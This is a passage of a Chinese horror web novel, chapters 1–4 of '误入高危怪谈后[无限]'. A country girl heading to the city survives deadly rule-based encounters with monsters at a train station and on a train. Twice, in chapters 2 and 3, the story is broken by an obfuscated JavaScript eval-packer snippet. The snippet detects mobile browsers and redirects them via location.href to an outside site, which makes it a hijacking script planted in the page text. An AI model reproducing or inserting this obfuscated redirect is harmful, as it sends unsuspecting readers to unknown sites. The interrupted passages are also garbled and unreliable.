《误入高危怪谈后[无限]》 1. 第 1 章 “喂,你好,是警察吗?这里有人的东西不见了,受害者就在我的旁边!” 凌晨四点,一位女生正焦急地打电话。她站在车站窗前,背着书包,一手提着行李箱。 车站的灯光很冷,窗户破了个洞,漏的风吹乱了她的刘海。女生旁边矗立着一个黑发人,一身血迹。 “别害怕,我们是警察。你能说说具体情况吗?” “我叫今浅,刚考完高考,准备进城打工赚学费。但是进站后,受害者拦住了我,找我求助。我是乡下人,在山旮旯里的今家村长大,从没碰过这种事。书上说,遇到问题,就打电话报警。” “遇到困难要报警是正确的。你放心,我们很快就会就会到。你正在什么站?” “我正在靠边站。” “……?” 手机那头沉默了。 今浅望向窗外,火车站的标牌闪着红灯,写着:靠边站。 今浅点了点头。 她没说错。 这个火车站,名字就是叫“靠边火车站”。 “刚刚我们查了,全国没有靠边站这个火车站。”警察提醒,“不要因为开玩笑而报假警,这样真正需要的人可能就打不进来。” 今浅急着澄清:“我没开玩笑,我真觉得受害者很可怜,居然丢了这么重要的东西。” “好的,请问受害者遭遇了什么类型的失窃?一般而言,金银首饰、手表现金会多一些。损失过大的可以现在立案。” “他丢了脸。” 手机那头沉默片刻,便只剩一连串的忙音。 “嘟嘟嘟……” 今浅遗憾挂断电话,朝着旁边的人,无奈说:“看来警察不管这件事了,我也没办法了。” 今浅看了眼手机时间,离登火车的时间只有半个小时了。 她心想:妈妈的朋友蔡阿姨知道自己现在准备去A市,不顾这个月的全勤奖也要请假来接自己,自己可不能误车。 “不……不行。”声音嘶哑,且沉闷。 那人抬头,火车站前冰凉的灯光下,黑长如枯草的发丝滑落,露出里面刀削的面庞。 面庞没有五官,一片光滑,遍布着均匀的红肉和洁白的脂肪,就像切开的新鲜生肉。 它真的没有脸。 无面人说:“你答应过,帮我找脸。” 今浅叹了口气。 方才,今浅到达这个破旧荒凉的“靠边”火车站,通过了安检口后,就见有人问路过的乘客能否帮忙。 来到这个火车站的乘客不多,但每一位停下跟那人交谈片刻后,要么脸色大变,要么骂了句晦气就离开。 今浅想到爸妈交代她的话:“出门在外,一定要好好和人相处。” 今浅热心上前帮忙。 谁知,这人没脸。 它说自己丢了脸,让今浅帮它找脸。 今浅大惊失色。 她没想到光天化日之下,居然有人敢私自偷窃人体器官。 今浅虽然从小在山旮旯里长大,但是经过十几年的教育,知道现在最重要的就是报警。 因此,这才有了开头的那一幕。 今浅把手机塞回口袋,问:“如果我不帮你呢?” 无面人没有说话,它虽然没有眼睛,但今浅能感到它直勾勾的视线落在自己脸上。 今浅:…… 她可不想丢脸。 “我平生最爱帮助别人。”今浅从善如流地说,“那你知道,你的脸丢在哪里了吗?” 无面人抬手,指向车站内的一个角落。 “你是要我跟你一起进去?” 无面人点头。 “行。书上说了,帮人帮到底。”今浅拍了拍手,拎起行李箱,说,“你带路吧。” 无面人沿着墙,走向那个角落。 今浅跟在后面,瞟了一眼墙上贴着的信息告示。 告示里参杂着几张明星担任反诈大使时的宣传海报,见缝插针几张寻人启事。 一眼望去墙上花花绿绿的。 今浅想着闲得也是无聊,便放慢脚步,慢慢看着上面的故事和事故。 不知何时,寂静的车站,在脚步声和轮子滚动声中,响起了细微的水滴声。 今浅突然开口:“还有多久呀?” “快了。”无面人的声音有些激动。 今浅说:“我爸妈一直说我太老实,缺心眼,怕我被骗,所以从小就给我讲许多故事。” 无面人转身,不耐烦地说:“这跟你给我找脸又有什么关系?赶紧走吧。” “其中一个故事,叫鬼引路。” 无面人脚步一停。 今浅像是没注意到它的异样,自顾自地说:“鬼给人引路的时候,人会听见水滴声。当水滴声停下的时候,人也就死了。因为鬼走的路,其实是死路。而水滴,其实是人体里的血。” 无面人催促道:“别相信那些有的没的,都是封建迷信。” 今浅笑着说:“我也只是突然想到的。你说,这是不是跟现在的情况很像?” 水滴声仍在有规律地滴淌。 左侧墙上已经露出几片雪白的墙壁。 而右侧宽畅的车站大厅,看上去近在咫尺,又远在天涯,如同墙上的壁画。 与其说这里是车站的角落,倒不如说,这里更像一个狭窄的胡同。 无面人顿了顿,随后狞笑摊牌,道:“呵呵,不错。没想到你看起来这么蠢,实际上脑子也有灵光的时候。等你的血液流干了,我就能够拿到你的脸皮,夺走你的身份,从这里出去了。” “什么?”今浅大惊失色,护住自己的行李箱,后退几步,移到墙边,说:“你居然是想拿我的脸皮?还想夺走我的身份?” 无面人:“……?” 不是,既然她不知道自己的目的,那为什么要说那个故事? 今浅痛心疾首,握拳锤墙,一脸失望地说:“我这么信任你,你却如此对待我。亏我还想给你找脸。” 无面人不装了,它冷酷地说:“等我吃了你,再把你脸扒下来,也算你给我脸了。” 无面人脸部的肉正在飞快地蠕动,中间破开出一个洞,里面布满着密密麻麻的齿舌,不细看,就像层层花瓣叠在一起的花苞。 无面人的头变成了一张像花的嘴。 嘴巴开开合合,说:“所以,就提前谢谢你了,清澈又愚蠢的人类。” “撕拉——” 无面人手脚并用爬向今浅,头部的嘴巴发出“桀桀”的怪笑。 今浅却没有移动,说:“我爸最近很喜欢玩一部游戏,尤其喜欢里面的一把刀。在我离开时,他把刀送给我。” “开什么玩笑,你手上什么东西都没有。”无面人嘲讽一声,口水因奔跑从嘴里流出来,就像花瓣挂着一连串的露珠。 火车站的安检不允许游客携带刀具。 它只闻到新鲜的血.肉在向自己欢呼雀跃。 “是呀,当时我也觉得我爸在开玩笑。”今浅回忆着,“他当时只是拍了拍我的肩膀,而后跟我说,这把刀必要时能救一命。” 无面人一跃而起,大嘴张开,狠狠地朝今浅咬下去。 在它攻击到今浅的一瞬间,它依稀听见了一声玻璃碎裂的声音,一股大力阻碍着自己合嘴。 【已触发被动:名刀司命(抵御1秒以内的所有致命伤)】 【被动:名刀司命,陷入冷却中(cd:48h)】 什……什么情况?! 无面人震惊。 今浅趁无面人愣神之际,下腰避开它的大嘴,快速把刚撕下来的一样东西盖在无面人的嘴上。 “现在,轮到我了。” 无面人还没反应过来,视野一黑,嘴巴传来了剧烈的烧灼痛感。 “啊——不可能!你怎么知道这个条件的?!” 无面人痛苦嚎叫,跌倒在地打滚,就像因爸妈不愿意买玩具而在地上打滚的小孩。 “看来我猜得没错。”今浅擦去无面人落在她身上的口水,面不改色地说,“你要夺舍的条件,是先吃掉我,成为我,再戴上我的脸。所以我想,要是我提前让你戴上了不属于你的‘脸’,你会怎么办。” 结果显而易见。 “你哪儿来的脸?!” 无面人难以置信,但剧烈的疼痛让它无暇多想。 “明星海报。”今浅说,“你看,有了明星的脸,你看起来顺眼多了。” 书上说了,七步之内,必有解药。 今浅在跟着无面人走的时候,就注意到越往深处走,无面人越兴奋,而宣传反诈的海报越来越少。 今浅知道,这是在提醒自己,如果一意孤行,反诈海报会觉得无力回天,从而放弃治疗。 她觉得,自己还是有救的。 无面人万万没想到,这个人类看起来老实愚蠢,居然在扮猪吃老虎! 无面人痛斥:“你既然 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无面人的纸张和鬼怪谈图鉴的的大小非常匹配。 今浅将其夹入图鉴中,暗自琢磨:“难道,妈妈早就知道我会遇见这种事情,所以就把图鉴给我了吧?” 今浅思索片刻,决定上车后问问妈妈。 正当今浅将图鉴塞进书包时,四周如雪花般纷纷碎掉。 今浅只觉得眼前一花,周围便是熟悉的车站大厅。 她回头,正好面向一张宣传反诈的海报。 车站的广播在播报。 “K404号列车即将开始检票,请各位乘客有序检票。” 要上车了。 今浅看了眼时间,发现离发车时间还有十分钟。 她刚想拉着行李箱离开,然而手却扑了个空。 今浅:…… 她箱子呢?! 不远处传来了几声尖叫。 “啊,我的行李!” “这是什么鬼?!” 几乎在场的所有乘客手中东西都少了,他们怒从中生,却不敢动,甚至畏惧地后退几步。 因为,拿走行李的不是人。 是一群长着鼠头的类人生物。 它们和人一样高,只是头布满了细灰的绒毛,红眼睛只有米粒大小,手上拿着行李箱,其中就有今浅的。 它们望向人类的眼神垂涎欲滴,仿佛在看一顿大餐。 “求你了,还我箱子!我的车还有1分钟就要开了。”一个人苦苦哀求拿走箱子的鼠头人。 “不还,除非你用车票跟我换,嘻嘻。” 鼠头人抱紧他的行李箱,任凭那名乘客怎么打喊,都无动于衷,就像是黏附在墙上的大蜗牛。 “叮——”远处传来火车鸣笛的声音。 “啊,你的车已经开走了。”鼠头人说。 突然间,刚才还生龙活虎的乘客捂住自己的喉咙,痛苦地倒在地上。 他垂着头,嘴长得很大,吐出一大片一大片红色的,像是呕血。 不对,不是血。 今浅下意识否定这个猜想 血移动的速度不会这么快。 乘客周围的人尖叫一声,纷纷逃走。 那些是红色的老鼠幼崽。 被吐出来的它们就像柔软的红色大手,轻轻地回抱了正在呕血的乘客。 “不……你们不要过来。”乘客虚弱地挣扎。 老鼠幼崽们置若罔闻,就像红色的潮水,而乘客就是陷入潮水漩涡的浮萍。 很快,乘客便没了声响,只有老鼠静静啃食的声音。 鼠头人拉开乘客的行李箱,红色老鼠幼崽便钻进去。 那里只剩下一摊沾有血渍的衣服。 全场一片死寂。 在场的乘客脸色煞白。 “嗯?你们是想抢回行李吗?”鼠头人疑惑地看向乘客。 乘客疯狂摇头。 “好吧。”那位鼠头人遗憾地舔了舔嘴唇,向众人行了个礼,心满意足回到鼠群。 像有所感,今浅扭头,便看见一个鼠头人,正拉着她的行李箱,朝她挥手。 今浅:…… 怪不得她爸妈说,城里很危险,一定要小心别有用心的人。 这也是进城的考验吗? 2. 第 2 章 今浅对上了鼠头人的红眼睛。 鼠头人乖巧笑了笑。 但它小小的红眼睛好像说,如果今浅敢跟它硬碰硬,它就会扒她一层皮。 硬抢,肯定是不行的。 今浅摸了摸口袋,车票还在里面。 她只需要拿回行李箱就行了。 今浅叹气。 果然,做人还是不能太老实。 要是她没脸没皮,先前的无面人和眼下的鼠头人都奈何不了自己。 “叮咚——” 车站的广播响了。 “为了确保您的安全,请您务必遵守以下的规则。 第一,本站一人一票,请持车票入场。 第二,请保护好你的随身物品。 第三,如遇突发情况,请找正确的检票员求助。 第四,检票口是车站的心脏,请有序入场。 请确保上火车的您是完整的。谢谢配合,祝您旅途顺利。” 火车站的广播又重复播了一遍。 大厅内的游客们神色各异,而鼠头人不慌不忙。 终于,有人坐不住了。 “什么鬼东西啊!这个行李你爱拿就拿吧,反正里面不是什么很重要的东西。”一位游客搓了搓脸,煞白的脸找回了点点血色,而后一鼓作气跑向检票口。 全场只有目光陪他来到检票口。 今浅看过去,检票口站着两位检票员。 出乎意料的是,她们两位长得一模一样就像镜面对称般,就连嘴边的笑容弧度也分毫不减, 唯一的区别在于,左边的穿着红色工作服。而右边穿着蓝色工作服。 游客深吸一口气,拿出自己的车票。 两位检票员视线定在游客身上,微笑齐声开口:“您确定,您要进站吗?” “我……” 诡异的架势让游客迟疑。 可游客一回头,正好对上那群鼠头人贪婪的目光,便吓得连忙点头,带着哭腔:“我确定,我确定!我不想再这里呆着了。” “好的。祝您旅途愉快。” 她们没有阻拦,声音就像脸上的笑容一样甜美。 闸门在游客刷票的时候打开。 游客迫不及待地走出去,消失在车站处。 外面一片寂静,没有任何的声响。 “这么说……难道我们不必在意行李?”有人迟疑地打破沉默。 在场的人面面相觑。 今浅只觉得这件事情没那么简单。 如果直接离开真的安全,那么鼠头人一定会上前阻拦。 可是现在,鼠头人只是目送那名游客的离开,没有阻拦的动静。 今浅视线停在检票口。 一分多钟后,检票口出现了一个人影。 是刚才进去的游客。 “你还好吗?”离检票口比较近的女生急忙发问。 那名游客不说话,只是歪了歪头,看着那名女生,语调没有起伏,重复道:“帮我开门。” 今浅只觉得有些诡异,可是又说不上来。 她仔细辨认,才惊讶发现,这名游客的脸皱成一团,身上的衣服松垮。 游客在车站灯的照射下,透露橙色的光。其中有几条深色的线,那是欲说还休,遮遮掩掩的骨架。 站在闸门前的,是游客的衣服,皮囊和骨架。 “啊啊!!”那名女生显然也是发现了,被吓得一边哭一边后退。 今浅这才清楚,广播里说的“请确保上火车的你是完整的”这句话的真实含义。 看样子,行李箱相当于人的内脏,如果丢失,就相当于人丢了内脏。 今浅望向车站的屏幕,上面显示着血红色的车次信息。 K404号车还有5分钟停止检票。 如果错过进站时间,她就会咳出老鼠,会直接死亡。 如果不管行李直接进站,她就会变成一副空荡荡的皮囊和骨架,也会死。 车站的灯光暗了很多,像是在提醒今浅,时间不多了。 危机迫在眉睫。 今浅清楚,自己必须拿回行李,赶在停止检票的时间之前登上火车。 红眼鼠头人已经跃跃欲试,它已经准备开动吃大餐了。 今浅环顾四周,候车室的人很少。 除了死去的两个以外,只剩下今浅,止不住啜泣的女生,和两位乘客,此时他们都一言不发,万念俱焚。 红眼鼠头人有5位。 “难道……我们就要死在这里了吗?” 有人绝望地捧脸,肩膀抖着啜泣。 绝望静静地流淌。 今浅打破死寂,率先走向检票口。 红衣检票员和蓝衣检票员同时看向她,脸上的笑容弧度没变。 “您确定,您要进站吗?” 今浅没有回答,只是观察着两人。 红衣和蓝衣手上都端着一个杯子。 红衣的杯子装着棕色冒泡的液体,看样子像可乐。 蓝衣的杯子装着红色粘.稠的液体,大概是血液。 除这以外,就只有广播的规则。 “你小心点。”女生叫陶依,头戴粉色蝴蝶结,她抹了一把被吓出的眼泪,却仍勉强打起精神,小声提醒今浅,“规则说了,要找正确的检票员求助。说明眼前这两位检票员,只有一位是真的——选错了,你会死的。” “放心,我很小心的。”今浅说,“隔壁邻居八年前欠了我五块钱,我到现在还记得。” “那是小心眼吧。”陶依顿了顿,嘴角抽搐,可心里松了口气。 看今浅如此淡定,想必她是个高手,多半已经判断出规则谁对谁错。 陶依眼中的高手直接询问:“你们好,请问你们两位,哪个是真正的检票员?” “……谁会直接把答案告诉别人啊!”陶依震惊。 “我们都是真正的检票员。”红衣和蓝衣微笑,同时将手中的杯子递给今浅,说,“需要帮助的话,你可以拿走这个。” “这个流程我知道,这是陷阱。”陶依急忙拦住今浅,说,“按道理,我们应该收集信息,判断出红衣和蓝衣谁对谁错,千万不要轻易相信……” “好,我相信你们。”今浅接过两人的杯子,真诚感谢,“谢谢你们。” 陶依:…… 怎么真的会有老实人相信啊??!! 今浅不知道陶依心中所想。她这一套流程下来,已经花了两分半,离检票时间的结束还有五分多钟。 没等陶依反应过来,今浅就把那杯血液泼在自己脸上。 血液就像蜿蜒而行的蛇,缓缓爬过今浅的面庞。 猩红的液体衬得她的肤色更加白皙,更像一个恐怖游戏里随机刷新的女鬼——不应该出现在车站,而应该出现在夜晚的街边,吓倒半夜回家的幸运路人。 过了几秒,今浅平安无事。 规则4,检票口是心脏。 能通过心脏的,自然只有血液。 血是安全的。 陶依又震惊了。 今浅看见陶依直勾勾地盯着自己,便好心把那杯血递给陶依。 “这也是你推出的正确信息吗?能保护我们的法宝吗?”陶依欣喜接过来,准备泼在自己身上。 看来她没抱错大腿。 “不。”今浅说,“这是我在给自己打鸡血。” “这是鸡血?鸡血可以驱鬼?” “不,是可以加油。”今浅抹去滴落到眼角的血,镇定地说,“没人给我加油,但我能给自己加油。” 陶依倒血的动作猛地一顿。 今浅大步流星,衣角带风,眨眼间便走到红眼鼠头人的面前。 “车票换行李……”红眼鼠头人话还没说完,今浅就泼它一脸的可乐。 “呲啦——” 可乐刚淋上它脸上的灰绒毛,灰绒毛就皱在一起,宛若田旱龟裂,冒着白烟,发出强酸腐蚀的声音。 “啊——” 红眼鼠头人尖叫哀嚎,皮肤一块一块地掉落。 它顾不上行李,抱头鼠窜,然而没走几步,就倒在地上不起来了。 目睹全程的陶依:……? “你这又是在……” “泼脏水。”今浅说,“书上说了,面对老鼠,要先下手为强,防止它们危害社会。” “?” “它抢了我东西,我说的话它装听不懂,还想吃我。我估摸着,它大抵是想将我的行李占为己有,太可恶了。” 陶依瞳孔地震。 她想过很多,可万万没想到,今浅的脑回路如此清奇。 更没想到,如此清奇的脑回路,居然还能得到正确的结果。 匪夷所思,匪夷所思啊。 今浅见陶依仍然站在原地,好心说:“它们就是虚张声势,为了让你心生畏惧。书上说了,软硬是会互相转换的。你软,它们就硬。但只要你硬了,它们反而就软了。” 陶依:好……好有道理。 今浅转身,看见地上躺着那位红眼鼠头人部分脸部的皮肤碎片,有点可惜。 要是刚才的无面人在就好了,自己现在就能多给它脸了。 瞅见那杯可乐好像还没有倒完,今浅便看向剩下的红眼鼠头人。 红眼鼠头人:…… 它们默默后退了几步,拉开和今浅的距离。 今浅默默上前了几步,拉近和它们的距离。 瞬息之间,攻守之势异也。 两方一进一退,始终保持着一定的距离,默契得就像在跳无声的华尔兹。 终于,红眼鼠头人被逼到角落,悲伤落泪,全然不见刚才趾高气昂的样子。 它们哽咽:“你能不能……不要过来?” “不行。”今浅看了一眼杯子里的可乐,认真地说,“书上说了,不能浪费水资源。” “我们可以放你离开,之后不会再害你了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16069198|179280||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正中间的鼠头人举起不知从哪里来的白旗,可怜巴巴地求饶。 今浅笑了一下,说出的话却让鼠头人心寒:“书上说了,见到五害要赶尽杀绝。” “我们这么做都是迫不得已。”鼠头人做出西子捧心的动作,趴到在地,憔悴又可怜,“以前我们没得选,可现在,我们只想做个好鼠。” 一双双红色的眼睛挂着泪珠,就像漫画里的流泪荷包蛋,齐刷刷地望着今浅,祈求博得今浅少许的同情心。 然而今浅不为所动。 它们的求饶,如同抛给瞎子的媚眼。 “我这么做也是迫不得已。”今浅叹气,诚实地一步一步逼近鼠头人,说,“别担心,可能会疼,但我很快。希望你们能忍一忍,体谅一下。咱双方都不容易。” 红眼鼠头人:体谅什么?这可是生死攸关的大事啊。 红眼鼠头人一咬牙,面露凶光,说:“这是你逼我们的。” 它们从地上爬起来,不再遮掩,恶狠狠地盯着今浅,撸起袖子,扭腰活动关节。 “你快让开,它们可能要放大招了!”陶依见情况不对,急忙大喊。 今浅闻言,警惕,后退几步。 面前的红眼鼠头人“扑腾”一声,跪倒在地。 在场的人:……?? 红眼鼠头人泪流满面,作揖求饶:“求求你放过我们吧。行李什么的,我们都不要了。” 它们一边说,一边把乘客们的行李都丢出来。 两位正在写遗书的乘客莫名得到自己的行李:!!! 他们捡回一条命,谢天谢地谢今浅,痛哭流涕的同时不忘给今浅磕几个响头,接着刷票进闸门,跑出车站,一气呵成。 火车车站的广播响了,屏幕上的红字更加鲜艳,就像正在滴淌的鲜血。 “叮咚——K404号列车,还有3分钟停止检票。请还未上车的乘客抓紧时间上车。” 陶依已经收拾好行李,站在闸门,催促道:“我们就不要管它们了,上火车的时间更要紧。” 今浅低头检查了一遍行李箱,瞄了一眼鼠头人,说:“其实,祖训还说了一句话。” 陶依不解:“啥?” 今浅却没开口。她拉出行李箱的拖杆,抬脚转身,正欲离开。 背后抹眼泪的红眼鼠头人脸色骤沉。 它们四肢着地,眼冒红光,一跃而起,以平生最快的速度冲向今浅的背影。 “等等,你身后——”陶依愕然,指着今浅身后飞起来的鼠头人。 层层灰黑的鼠影宛若铺天盖地的乌云,隐约刀锋般锐利的尖爪破空而出,爪尖在白炽灯下闪过一道冷芒。 “去死吧——”它们怪叫着,猩红的眼里充满了疯狂。 它们已经够快了。 但今浅更快。 她像是早有预料,左手向前推了一把行李箱。 “拿好我的行李。”今浅朝愣神的陶依喊。 就在它们的爪子即将碰到今浅的那一刻,今浅弯腰。 尖爪恰好贴过她的后背而过,利落的爪风掀乱她的发丝。 阴影铺天盖地,笼罩在今浅四周。 地板锃亮,反射出红眼鼠头人半是凶狠半是愕然的表情。 四只红眼鼠头人都没想到自己的攻击会空,可现在它们都在半空中,无法中途变势。 但这又如何? 红眼鼠头人陷入疯狂。 只要能拖过剩下的几分钟,今浅迟早得死! 可没曾想,今浅毫不犹豫转身,向它们倾泼那杯可乐,顺势在地上翻滚几圈,正好在它们跌倒在地的时候,离开它们的攻击圈。 “啊——” 腐蚀声和惨叫声此起彼伏。 红眼鼠头人挣扎片刻后,了无声息。 今浅若无其事地站起来,拍去身上的灰,补充刚才还没说完的话:“书上说了,斩草要除根。否则,春风吹又生。” 她只是老实,又不是愚蠢。 怎么可能看不出来,这些红眼鼠头人没安好心呢。 今浅从陶依接过自己的行李,刷票进站后,看着怔愣在原地的陶依,不解地问:“你还不跑?” 再不跑就赶不上火车了。 “噢,噢。”陶依这才回神,小跑几步跟上今浅,离开候车室。 陶依恍然大悟,终于理解今浅的所作所为了。 这哪是什么脑回路清奇的乡下人?明明是不显山水的世外高人。 高人的心思,绝不是凡人可以揣测的。 她赶紧抱高人的大腿。 窗外天色渐白,候车室内的灯光不减。可眨眼间,两位工作人员消失不见。 无论是灰色地板,还是候车的铁质排椅,上面都布满了厚重的灰尘。角落结着灰白蛛网,墙上的海报褪色破洞。 候车站居然是一片萧条。 突然,一张反诈海报的人物动了。 它歪头,望着今浅和陶依离开的背影。 3. 第 3 章 天刚睡醒,薄雾不知何时消散。 好在火车停的位置不远,蓝衣乘务员站在车门口,朝她们催促道:“gogogo,快要出发了。” 今浅和陶依几乎是前脚刚登上绿皮火车,后脚绿皮火车就阖上车门,冒着白烟哼哧哼哧行驶。 车窗外,太阳初升,浓雾不知何时散去,山林树木和地上的碎石如流水般迅速逝去。 车窗倒映着熙攘的人群:嗑瓜子聊天的、低头刷视频的、闭目养神的。 车厢内一片和谐融洽,仿佛方才经历的死亡和鲜血都是幻觉。 今浅和陶依正拎着行李,穿梭其中。 今浅走在前面,陶依跟在她身后。 她们急着上火车,没注意车厢的序号。现在不得不穿过硬座车厢。 今浅买的是硬卧的火车票,在六号车厢。本来,她想着家里穷,买张硬座省点钱。 可她妈说,硬座长达72h很可能会长痔疮。 今浅可以忍受硬座72h,但她无法忍受治病后的空空钱包,便只好折中,买了硬卧。 巧的是,陶依跟她是六号车厢的同一隔间。 两人来到6号车厢,过道坐了几人聊天。 今浅从中穿过,突然被叫住。 “诶,小妹,你的书包拉链没拉。”一位穿着翠绿大衫的大娘提醒今浅。 今浅回头,书包拉链已经开了一半,图鉴露出了一小部分。 “咦,我帮你拉上吧。”陶依伸手。 今浅反手拉上拉链,淡定地说:“没事,小事而已,不用麻烦你。” 她谢过大娘,大娘却惊呼道,“咦?你身上这怎么……” “这我知道。”旁边的大爷笑呵呵地说,“年轻人嘛,喜欢玩这种新花样……那好像叫什么,考斯普雷,扮演啥角色的。我孙子经常喜欢搞这些东西。” “噢,原来那叫考斯普雷啊。我还以为那叫,福什么瑞的……就是会带一些动物头套。” 今浅不知道考斯普雷和福瑞是什么,但大娘的话让她想到自己脸上还有血。 看来自己进隔间前,得先去厕所洗一把脸。 好在厕所在车门附近,旁边有空余的行李架子。 今浅安置好行李箱后,转身去厕所。 陶依紧随其后。 今浅眼见着陶依也要跨入隔间,伸手关门,但还是迟了陶依一步。 陶依的脚卡在门缝中间。 陶依:? 今浅:? “嘿嘿,这不是,跟着你安全一点嘛。”陶依反应过来,讪笑着摸摸鼻子,然而却迟迟不肯撤回这一步。 今浅心想:书上说得没错,女孩子果然很黏人。 要对女孩子温柔点。 今浅便委婉:“里面也不一定安全。” “那正好,两人做伴,安全加倍。” “这不太方便。” “这很方便,我不麻烦的。” “人有三急。”今浅说。 她急着洗脸。 两人对视。 “啊,原来你是那个方面的方便啊。”陶依恍然大悟,收脚关门,乖巧地说,“我在外面等你。” 这次门顺利关上了。 车窗外的天空湛蓝,阳光暖和, 厕所很小,只有一面镜子,一个洗手台和一个蹲坑,大抵是怕人晚上睡在厕所,让需要的人没有使用的机会。 今浅庆幸:还好陶依没有进来。 这里可挤不下两个并肩站立的人。 白天,火车为了省电,厕所的灯是关的。 灯的开关就在门口,靠近洗手台,今浅随时都能打开。 今浅掏出手机,给妈妈打电话,汇报自己的安全,以及顺便咨询妈妈一些事情。 妈妈是专门研究怪谈的民俗学家,说不定能解释刚才遇见的怪事。 电话很快就通了。 “喂,妈妈,我现在在火车上。”今浅想了想,说,“刚才我好像碰见怪事了。” “嗯?” “我到车站的时候,遇见几个奇怪的人。要么想把我引入死胡同,要么想抢走我的行李。妈,这正常吗?” “小浅,你没伤到哪里吧?”妈妈紧张起来,问了今浅几遍,确认今浅没啥大事后,说,“是我们疏忽了。小浅,你小时候身体不好,我们就把你带回乡下疗养。你一直在村里的学堂上学,身边没有同龄的朋友,也没去过城市。可我没想到,你这么快就遇见了坏人……早知道,我们就陪你进城了。” “没事的妈妈。坏人到处都是,城里乡下都有。我虽然之前没见过坏人,但之后迟早是要面对的。”今浅安慰,扯开话题,“妈妈,你在忙什么呀?” “我?我在隔壁村的后山呢,听说那附近有怪谈踪迹,有位下山的樵夫,看样子是幸存者。你放心,你爸在我旁边呢。” “妈妈,你又在找编撰故事的灵感呀。”今浅司空见惯。 “小浅,这不是故事,是事故。”妈妈严肃说,“怪谈很危险,幸存者寥寥。被选中的人几乎有去无回。特别是近年来,怪谈数量莫名锐减。我本想亲自进入怪谈世界,多总结这方面的规律,奈何总是无法被怪谈选中,只能走访民间被选中后,活下来的人。” 今浅顿了顿。 如果是平日,她只会把这当作故事。 可是刚才发生的事情着实诡异。 “……妈妈,怎么判断自己是否进入了怪谈世界?” “根据记载的资料,你身上会有一个血红色的眼纹。此后,你会不断地被‘邀请’进入怪谈世界,直到被它吃掉。” 今浅低头检查,没看见血红色的眼纹。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16069199|179280||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她放心了,看来刚才那些怪人只是坏人。 “没事的小浅,城里人多,会安全点。”妈妈安慰,“至少我没听见城里出现怪谈。” 今浅问:“会不会是因为,怪谈把所有人都‘吃’掉了。” 没人出来,自然就没人说‘怪谈’的存在。 “不可能,在进入怪谈前,被选中的人会遇到异常现象。”妈妈说,“怪谈结束后,一定只会有一个人存活。当这个人回到现实,怪谈里的妖鬼就能继续邀请他,甚至邀请他身边的人参与。” 今浅吐槽:没想到怪谈也讲究可持续发展。 今浅突然想起背包里的图鉴,说:“妈妈,我遇到的怪事似乎和图鉴有关。” 电话那头妈妈的声音变得断断续续。 “啊……什么……滋滋……图鉴……” 火车上的信号不好。 厕所逐渐往窗户的方向倾斜。 今浅酿跄几步,扶住门把手,才站稳身体。 她望向窗外,远处隐隐有一座小山丘。 火车正在转弯,等会儿要进隧道了。信号会更加不好。 她挂断电话,编辑短信。 【妈妈,我遇到了那本图鉴上的事,是不是说明,我进入怪谈世界了。】 短信发不出去,只有红色的感叹号。 今浅沉默片刻,而后乐观。 等有信号了,再发短信也不迟。 她得赶紧洗脸,回到隔间后,开一盘游戏。 今浅把手机塞回口袋,看了眼镜子,随后低头拧开水龙头。 汩汩作响的白水柱打在不锈钢洗手台里,形成一个漩涡,倒映着窗外蓝天白云下,逐渐逼近火车的山丘。 今浅弯腰,闭眼,捧水洗脸,心里轻松。 仔细想想,也是,自己只是一个进城打工的普通人,刚刚毕业的高中生,怎么可能倒霉到被怪谈盯上。 她专心洗脸。 黑暗放大了一切感官。 透着凉意的水花,打湿了衣襟,就连脖子也染上寒意。 耳边是哗啦啦的水流。 离洗手台近了,金属传导滚烫的轮轨互相撞击摩擦的声响,夹杂着呼啸而过的厉风,就像有人在小声啜泣。 火车“哐当”一声后,风声变得微小但尖锐。 火车开进隧道。 “啪嗒”一声。 厕所的灯开了。 今浅身形一滞。 她进来的时候反锁了门。 没人能进来,自己也没听见有人进来的声音。 这个厕所只有自己一人。 自己此刻左手在擦脸,右手在水龙头下方接水。 水的寒意似乎透过掌心到达心间,今浅心里升起了一片寒意。 自己开不了灯。 谁开了灯? 4. 第 4 章 厕所狭窄,寂静。 只有正在流淌的水声,和胸腔里的心跳。 今浅安慰自己:可能是因为这辆火车比较先进,进入隧道能自动开灯。 话虽如此,今浅还是加大搓脸的力度。 她还是赶紧洗完,赶紧离开吧。 脸上仍然残留滑滑的手感,黏糊糊的,闻起来有一股铁锈的腥味,就像还没洗干净的血液。 今浅一顿,搓脸的速度变得更快。 水龙头涌出带有铁锈味的水很正常。 她学过的。 如果水龙头多年没有使用,管道会生锈,此时流出来的水就会有铁锈味,带有红色的铁锈。 但先进的火车,会有多年没有使用的可能吗? 今浅不敢多想。 她揩去眼周的水,顺手关上水龙头。 水声停止了。 但在她背后,却响起一道幽怨的哭声。 “呜呜呜……” 面前的镜子,倒映着今浅身后,不知何时出现的人。 那人掩面恸哭,浑身湿漉,就像刚从某个池塘里爬出来。 然而这里是厕所,并不是池塘。 像是察觉到今浅的视线,它抬头,穿过镜子直勾勾与今浅对视。 那双似人非人的眼里,显示着明晃晃的恶意。 “嗨,好巧啊。”今浅自然地抬手打招呼,转身淡定地说,“既然你是来方便的,我就不打扰你了。” 哭声一顿。 “我不是来方便的。”它幽幽地说。 “总不可能是来吃……” “是呀。” 今浅一愣:“那你口味还挺重的。” “我喜欢吃新鲜的。” 今浅委婉:“厕所不太适合进食。你如果饿了,可以去餐厅。” 